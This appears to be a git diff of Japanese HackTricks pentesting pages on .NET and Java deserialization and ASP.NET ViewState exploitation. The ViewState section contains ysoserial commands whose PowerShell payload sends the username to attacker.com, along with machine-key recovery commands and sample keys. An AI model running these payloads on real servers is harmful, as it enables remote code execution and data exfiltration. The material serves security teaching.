[公式ウェブページ](https://www.newtonsoft.com/json)によると、このライブラリはJson.NETの強力なJSONシリアライザを使用して、**任意の.NETオブジェクトをシリアライズおよびデシリアライズ**することができます。したがって、**ObjectDataProviderガジェットをデシリアライズ**できれば、オブジェクトをデシリアライズするだけで**RCE**を引き起こすことができます。 [公式ウェブページ](https://www.newtonsoft.com/json) によると、このライブラリは **Json.NET の強力な JSON シリアライザを使用して、任意の .NET オブジェクトをシリアライズおよびデシリアライズ** できるとされています。したがって、もし私たちが **ObjectDataProvider ガジェットをデシリアライズ** できれば、オブジェクトをデシリアライズするだけで **RCE** を引き起こすことができます。
### Json.Netの例 ### Json.Net の例
まずは、このライブラリを使用してオブジェクトを**シリアライズ/デシリアライズ**する方法の例を見てみましょう: まずは、このライブラリを使用してオブジェクトを **シリアライズ/デシリアライズ** する方法を示す例を見てみましょう:
```java ```java
using System; using System;
using Newtonsoft.Json; using Newtonsoft.Json;
@ -196,12 +196,12 @@ TypeNameHandling = TypeNameHandling.Auto
``` ```
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**してみたいですか?または**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう * [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬 Discordグループ](https://emojipedia.org/speech-balloon/)に参加**するか、[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 * **[**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出して、あなたのハッキングトリックを共有してください。 * **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details> </details>

View file

@ -1,14 +1,14 @@
<details> <details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricks をサポートする他の方法: HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい場合** は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! * **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい場合** は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つけ * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見す
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) をフォローする * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする。
* **ハッキングテクニックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに提出する * **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する
</details> </details>
@ -17,12 +17,12 @@ HackTricks をサポートする他の方法:
# Serializable # Serializable
Javaの `Serializable` インターフェース`java.io.Serializable` は、**シリアライズ**および**デシリアライズ**されるクラスが実装する必要があるマーカーインターフェースです。Javaオブジェクトのシリアライズ書き込み、[ObjectOutputStream](http://tutorials.jenkov.com/java-io/objectoutputstream.html) を使用して行われ、デシリアライズ(読み取り)は、[ObjectInputStream](http://tutorials.jenkov.com/java-io/objectinputstream.html) を使用して行われます。 Javaの `Serializable` インターフェース (`java.io.Serializable`) は、**シリアライズ**および**デシリアライズ**されるクラスが実装する必要があるマーカーインターフェースです。Javaオブジェクトのシリアライズ書き込み [ObjectOutputStream](http://tutorials.jenkov.com/java-io/objectoutputstream.html) で行われ、デシリアライズ(読み込み)は [ObjectInputStream](http://tutorials.jenkov.com/java-io/objectinputstream.html) で行われます。
**シリアライズ可能な** **Personクラス**の例を見てみましょう。このクラスは **readObject** 関数を**上書き**しており、この **クラス**の **任意のオブジェクト**が **デシリアライズ**されると、この **関数**が **実行**されます。\ **シリアライズ可能な** **Personクラス**の例を見てみましょう。このクラスは **readObject** 関数を **上書き**しており、この **クラス**の **任意のオブジェクト**が **デシリアライズ**されると、この **関数**が **実行**されます。\
この例では、Personクラスの **readObject 関数**は、彼のペットの `eat()` 関数と、Dogの `eat()` 関数(何らかの理由で)が **calc.exe** を呼び出すようになっています。**この計算機を実行するためにPersonオブジェクトをシリアライズおよびデシリアライズする方法を見ていきます:** この例では、Personクラスの **readObject 関数**は、彼のペットの `eat()` 関数と、Dogの `eat()` 関数(何らかの理由で)が **calc.exe** を呼び出すようになっています。**この計算機を実行するためにPersonオブジェクトをシリアライズおよびデシリアライズする方法を見ていきます:**
**次の例は、[https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649](https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649) から取得されています** **以下の例は [https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649](https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649) から取得しています**
```java ```java
import java.io.Serializable; import java.io.Serializable;
import java.io.*; import java.io.*;

View file

@ -1,14 +1,14 @@
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローする。**
* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する** * **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出する。**
</details> </details>

View file

@ -9,25 +9,25 @@ HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter**で私をフォローする🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**してください。
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。 * **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、**あなたのハッキングテクニックを共有**してください。
</details> </details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original"> <img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
**ハッキングキャリア**に興味がある方や、**解読不能なものをハッキング**したい方 - **採用中です!**_流暢なポーランド語の読み書きが必要です_ **ハッキングキャリア**に興味がある方や、**解読不能なものをハッキング**したい方 - **採用中**です_流暢なポーランド語の読み書きが必要です_
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
## ViewStateとは ## ViewStateとは
**ViewState**は、ASP.NETでページとコントロールデータをWebページ間で維持するためのデフォルトメカニズムとして機能します。ページのHTMLがレンダリングされる際、ページの現在の状態とポストバック中に保持する値は、base64でエンコードされた文字列にシリアル化されます。これらの文字列は、非表示のViewStateフィールドに配置されます。 **ViewState**は、ASP.NETでページとコントロールデータをWebページ間で維持するためのデフォルトメカニズムとして機能します。ページのHTMLがレンダリングされる際、ページの現在の状態とポストバック中に保持する値がbase64エンコードされた文字列にシリアライズされます。これらの文字列は、非表示のViewStateフィールドに配置されます。
ViewState情報は、次のプロパティまたはそれらの組み合わせによって特徴付けられます ViewState情報は、次のプロパティまたはそれらの組み合わせによって特徴付けられます
- **Base64**: - **Base64**:
- この形式は、`EnableViewStateMac`と`ViewStateEncryptionMode`属性がともにfalseに設定されている場合に使用されます。 - この形式は、`EnableViewStateMac`および`ViewStateEncryptionMode`属性が両方ともfalseに設定されている場合に使用されます。
- **Base64 + MACMessage Authentication Code有効**: - **Base64 + MACMessage Authentication Code有効**:
- MACの有効化は、`EnableViewStateMac`属性をtrueに設定することで実現されます。これにより、ViewStateデータの整合性検証が提供されます。 - MACの有効化は、`EnableViewStateMac`属性をtrueに設定することで実現されます。これにより、ViewStateデータの整合性検証が提供されます。
@ -39,13 +39,13 @@ ViewState情報は、次のプロパティまたはそれらの組み合わせ
画像は、.NETフレームワークバージョンに基づいてASP.NETでのViewStateの異なる構成を詳細に示した表です。以下は、内容の要約です 画像は、.NETフレームワークバージョンに基づいてASP.NETでのViewStateの異なる構成を詳細に示した表です。以下は、内容の要約です
1. **.NETの任意のバージョン**について、MACと暗号化が無効になっている場合、MachineKeyは必要なく、それを特定するための適用可能な方法はありません。 1. **.NETの任意のバージョン**について、MACと暗号化が無効になっている場合、MachineKeyは必要なく、そのため特定する方法は適用されません。
2. **4.5未満のバージョン**では、MACが有効になっているが暗号化が無効な場合、MachineKeyが必要です。MachineKeyを特定する方法は「Blacklist3r」と呼ばれます。 2. **4.5未満のバージョン**では、MACが有効になっているが暗号化が無効な場合、MachineKeyが必要です。MachineKeyを特定する方法は「Blacklist3r」と呼ばれます。
3. **4.5未満のバージョン**では、MACが有効であるかどうかに関係なく、暗号化が有効な場合、MachineKeyが必要です。「Blacklist3r - Future Development」がMachineKeyの特定を担当します。 3. **4.5未満のバージョン**では、MACが有効または無効であるかに関係なく、暗号化が有効になっている場合、MachineKeyが必要です。MachineKeyを特定する作業は「Blacklist3r - Future Development」の課題です。
4. **4.5以上のバージョン**では、MACと暗号化のすべての組み合わせ両方がtrueであるか、1つがtrueで他がfalseであるかにはMachineKeyが必要です。「Blacklist3r」を使用してMachineKeyを特定できます。 4. **4.5以上のバージョン**では、MACと暗号化のすべての組み合わせ両方がtrueであるか、1つがtrueで他がfalseであるかにはMachineKeyが必要です。MachineKeyは「Blacklist3r」を使用して特定できます。
### テストケース1 EnableViewStateMac=false および viewStateEncryptionMode=false ### テストケース1 EnableViewStateMac=false および viewStateEncryptionMode=false
@ -56,13 +56,13 @@ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
``` ```
**ViewState属性の特定** **ViewState属性の特定**
BurpSuiteを使用してこのパラメータを含むリクエストをキャプチャし、ViewStateがMACで保護されているかどうかを特定できます。MACが使用されていない場合は、[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)を使用してそれを悪用することができます。 BurpSuiteを使用してこのパラメータを含むリクエストをキャプチャし、ViewStateがMACで保護されているかどうかを特定できます。パラメータが保護されていない場合は、[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)を使用してそれを悪用することができます。
``` ```
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
``` ```
### テストケース 1.5 テストケース 1と同様だが、サーバーからViewStateクッキーが送信されない ### テストケース 1.5 テストケース 1と同様だが、サーバーからViewStateクッキーが送信されない
開発者は、ViewStateをHTTPリクエストの一部にならないようにすることができますユーザーはこのクッキーを受け取りません)。\ 開発者は、ViewStateをHTTPリクエストの一部にならないようにすることができますユーザーはこのクッキーを受け取らない)。\
ViewStateが存在しない場合、ViewStateの逆シリアル化に起因する潜在的な脆弱性から実装が安全であると仮定するかもしれません。\ ViewStateが存在しない場合、ViewStateの逆シリアル化に起因する潜在的な脆弱性から実装が安全であると仮定するかもしれません。\
しかし、それは事実ではありません。リクエストボディにViewStateパラメータを追加し、ysoserialを使用して作成したシリアル化ペイロードを送信すると、**ケース1**で示されているように、**コード実行**を達成することができます。 しかし、それは事実ではありません。リクエストボディにViewStateパラメータを追加し、ysoserialを使用して作成したシリアル化ペイロードを送信すると、**ケース1**で示されているように、**コード実行**を達成することができます。
@ -84,18 +84,18 @@ ViewStateが存在しない場合、ViewStateの逆シリアル化に起因す
</system.web> </system.web>
</configuration> </configuration>
``` ```
攻撃を成功させるためにはまず使用されているキーを取得する必要があります。 パラメータがMACで保護されているため、攻撃を成功させるにはまず使用されているキーを取得する必要があります。
[**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper)を使用して使用されているキーを見つけることができます。 [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper)を使用して使用されているキーを見つけることができます。
``` ```
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/" AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"
--encrypteddata : __VIEWSTATE parameter value of the target application --encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value --modifier : __VIWESTATEGENERATOR parameter value
``` ```
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets)は、既知のmachineKeysを特定できる別のツールです。Pythonで書かれているため、Blacklist3rとは異なり、Windowsへの依存性がありません。.NETのviewstatesには、「python blacklist3r」というユーティリティがあり、それが最も迅速な使用方法です。 [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets)は、既知のmachineKeysを特定できる別のツールです。Pythonで書かれているため、Blacklist3rとは異なり、Windowsに依存しません。.NETのviewstatesには、「python blacklist3r」というユーティリティがあり、それが使用する最も迅速な方法です。
ビューステートとジェネレータを直接指定することもできます ビューステートとジェネレータを直接指定することもできます:
``` ```
pip install badsecrets pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets git clone https://github.com/blacklanternsecurity/badsecrets
@ -104,7 +104,7 @@ python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgX
``` ```
![https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png](https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png) ![https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png](https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png)
または、対象のURLに直接接続し、HTMLからviewstateを取り出そうとすることできます。 または、対象のURLに直接接続し、HTMLからviewstateを取り出そうとすることできます。
``` ```
pip install badsecrets pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets git clone https://github.com/blacklanternsecurity/badsecrets
@ -119,7 +119,7 @@ bbot -f subdomain-enum -m badsecrets -t evil.corp
``` ```
![https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png](https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png) ![https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png](https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png)
運が良ければ、キーが見つかった場合は、[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:** 鍵が見つかった場合は幸運であり、[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:** を使用して攻撃を続行できます。
``` ```
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
@ -133,13 +133,13 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv
この場合、パラメータがMACで保護されているかどうかはわかりません。そのため、値はおそらく暗号化されており、脆弱性を悪用するために**マシンキーが必要**です。 この場合、パラメータがMACで保護されているかどうかはわかりません。そのため、値はおそらく暗号化されており、脆弱性を悪用するために**マシンキーが必要**です。
**この場合、**[**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper)**モジュールが開発中です...** **この場合、** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **モジュールが開発中です...**
**.NET 4.5より前**、ASP.NETは、**`ViewStateEncryptionMode`**が_**Always**_に設定されていても、ユーザーからの\_`__VIEWSTATE`\_パラメータを**暗号化されていない**状態で**受け入れる**ことができます。ASP.NETは、リクエスト内の**`__VIEWSTATEENCRYPTED`**パラメータの**存在のみを確認**します。**このパラメータを削除し、暗号化されていないペイロードを送信すると、それでも処理されます。** **.NET 4.5より前**では、ASP.NETは、**`ViewStateEncryptionMode`** _**Always**_ に設定されていても、ユーザーからの\_`__VIEWSTATE`\_パラメータを**暗号化されていない**状態で**受け入れる**ことができます。ASP.NETは、リクエスト内の **`__VIEWSTATEENCRYPTED`** パラメータの**存在のみを確認**します。**このパラメータを削除し、暗号化されていないペイロードを送信すると、それでも処理されます。**
したがって、攻撃者がファイルトラバーサルなどの他の脆弱性を介してマシンキーを取得する方法を見つけた場合、**Case 2**で使用される[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)コマンドを使用して、ViewState逆シリアル化の脆弱性を利用してRCEを実行することができます。 したがって、攻撃者がファイルトラバーサルなどの他の脆弱性を介してマシンキーを取得する方法を見つけると、**Case 2** で使用された [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) コマンドを使用して、ViewState逆シリアル化の脆弱性を利用してRCEを実行できます。
* ViewState逆シリアル化の脆弱性を悪用するには、リクエストから`__VIEWSTATEENCRYPTED`パラメータを削除してください。そうしないと、Viewstate MAC検証エラーが返され、脆弱性を悪用できません。 * ViewState逆シリアル化の脆弱性を悪用するには、リクエストから `__VIEWSTATEENCRYPTED` パラメータを削除します。そうしないと、Viewstate MAC検証エラーが返され、脆弱性を悪用できません。
### テストケース: 4 .Net >= 4.5 および EnableViewStateMac=true/false および ViewStateEncryptionMode=true/false ただし、両方の属性がfalseに設定されている場合 ### テストケース: 4 .Net >= 4.5 および EnableViewStateMac=true/false および ViewStateEncryptionMode=true/false ただし、両方の属性がfalseに設定されている場合
@ -161,29 +161,28 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47Lw
--IISDirPath = {Directory path of website in IIS} --IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application} --TargetPagePath = {Target page path in application}
``` ```
[IISDirPathとTargetPagePathの詳細な説明はこちらを参照してください](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/) [IISDirPath](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)とTargetPagePathの詳細な説明については、[こちら](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)を参照してください。
または、[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets)(ジェネレータ値付き): または、[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets)(ジェネレータ値付き)を使用します。
```bash ```bash
cd badsecrets cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415 python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
``` ```
![https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png](https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png) ![https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png](https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png)
有効なマシンキーが特定されたら、**次のステップは[YSoSerial.Net](https://github.com/pwntester/ysoserial.net)を使用してシリアル化ペイロードを生成することです** 有効なマシンキーが特定されたら、**次のステップは[YSoSerial.Net](https://github.com/pwntester/ysoserial.net)を使用してシリアライズされたペイロードを生成することです**
``` ```
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
``` ```
`__VIEWSTATEGENERATOR`の値を持っている場合、その値を使用して`--generator`パラメータを試すことができ、パラメータ`--path`と`--apppath`を省略することができます `__VIEWSTATEGENERATOR`の値を持っている場合、その値を使用して`--generator`パラメータを試してみることができます。その値と一緒に`--path`と`--apppath`パラメータを省略してください
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/4.2.png) ![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/4.2.png)
ViewState逆シリアル化の脆弱性を成功裏に悪用すると、攻撃者が制御するサーバーに対してアウト・オブ・バンド・リクエストが送信され、その中にはユーザー名が含まれます。この種の脆弱性を悪用する例は、"Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET"というリソースを通じて示されています。悪用プロセスの詳細やBlacklist3rなどのツールを使用してMachineKeyを特定する方法については、提供された[悪用のPoC](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)を参照してください。 ViewState逆シリアル化の脆弱性を成功裏に悪用すると、ユーザー名を含む攻撃者が制御するサーバーへのアウト・オブ・バンド・リクエストが発生します。この種のエクスプロイトは、「Blacklist3r」と「YsoSerial.NET」を使用したViewState逆シリアル化の悪用を示した概念実証PoCで示されており、[成功した悪用のPoC](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)で見つけることができます。
### テストケース6 ViewStateUserKeysが使用されている ### テストケース6 ViewStateUserKeysが使用されている
**ViewStateUserKey**プロパティは**CSRF攻撃**に対抗するために使用できます。アプリケーションでこのようなキーが定義されており、今までに議論された方法で**ViewState**ペイロードを生成しようとすると、**アプリケーションによってペイロードが処理されなくなります**。\ **ViewStateUserKey**プロパティは**CSRF攻撃**に対抗するために使用できます。アプリケーションでこのようなキーが定義されている場合、今までに議論された方法でViewStateペイロードを生成しようとしても、**アプリケーションによってペイロードが処理されない**でしょう。\
正しくペイロードを作成するためには、さらに1つのパラメータを使用する必要があります 正しくペイロードを作成するためには、さらに1つのパラメータを使用する必要があります
```bash ```bash
